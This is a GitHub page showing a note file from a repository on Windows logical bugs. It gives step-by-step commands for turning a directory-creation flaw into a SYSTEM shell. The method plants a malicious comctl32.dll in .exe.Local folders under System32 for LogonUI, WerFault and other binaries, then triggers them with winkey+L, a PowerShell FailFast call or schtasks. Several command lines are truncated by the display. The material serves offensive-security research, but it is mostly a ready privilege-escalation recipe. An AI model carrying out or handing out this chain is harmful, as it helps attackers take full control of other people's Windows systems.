Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

sailay1996 / awesome_windows_logical_bugs Public

Notifications Fork 72 Star 564

Code Issues Pull requests 1 Actions Projects Security Insights

Files

60cbb23

Go to file

- JonasL
- .txt
- FileWrite2system.txt
- README.md
- check_services_note.txt
- dacl_check.vbs
- dir_create2system.txt
- dir_delete2system.txt
- find_dir4_privEsc_dll_hijack.txt
- learning_note_bookmarks.txt
- service2system.txt

awesome_windows_logical_bugs / dir_create2system.txt

sailay1996 Update dir_create2system.txt ad068f9 · 2 years ago History

Code Blame 49 lines (29 loc) · 2.48 KB Raw

```
If you can create directory with FullControl access via service bugs, you can get SYSTE

Step 1. Create Directory in C:\windows\system32 as C:\Windows\System32\LogonUI.exe.Loca

createsymlink.exe C:\programdata\vulnlogs\somepath C:\Windows\System32\LogonUI.exe.Loca

Then, you can create anything in C:\Windows\System32\LogonUI.exe.Local .

Step 2. Create directory in that folder.

mkdir C:\Windows\System32\LogonUI.exe.Local\amd64_microsoft.windows.common-controls_659

Step 3. Create/copy payload dll file in that folder as comctl32.dll.

copy malicious.dll C:\Windows\System32\LogonUI.exe.Local\amd64_microsoft.windows.common

Step 4. Then restart or logon-logoff (winKey+ l). Your payload dll will execute as SYST

Thanks @PsiDragon for this advice.


Another Method by @jonasLyk
https://twitter.com/jonasLyk/status/1241314339623141376
https://twitter.com/404death/status/1240917568870731776

get SYSTEM shell from WerFault.exe via dll hijacking.
Same method with above.

1. create folder as C:\Windows\System32\WerFault.exe.Local via service bugs.

2. mkdir C:\Windows\System32\WerFault.exe.Local\amd64_microsoft.windows.common-controls

3. copy malicious.dll C:\Windows\System32\WerFault.exe.Local\amd64_microsoft.windows.co

4. powershell -ep bypass -c "[Environment]::FailFast('Error')". Your payload dll will e

-------------------

list process for directory create bug to system shell via comctl32.dll hijack like abov
1. C:\Windows\System32\consent.exe.Local  (Triggered by running  narrator.exe)
2. C:\Windows\System32\WerFault.exe.Local (Triggered by running  powershell -ep bypass
3. C:\Windows\System32\LogonUI.exe.Local (Triggered by running winkey+l)
4. C:\Windows\System32\Narrator.exe.Local (Triggered by running winkey+l ,Ease of acces
5. C:\Windows\System32\Wermgr.exe.Local (triggered by schtasks /run /TN "Microsoft\Wind
5. ...... etc

https://github.com/RedyOpsResearchLabs/CVE-2020-1283_Windows-Denial-of-Service-Vulnerab

Another exploitation tricks by James Forshaw : https://googleprojectzero.blogspot.com/2
```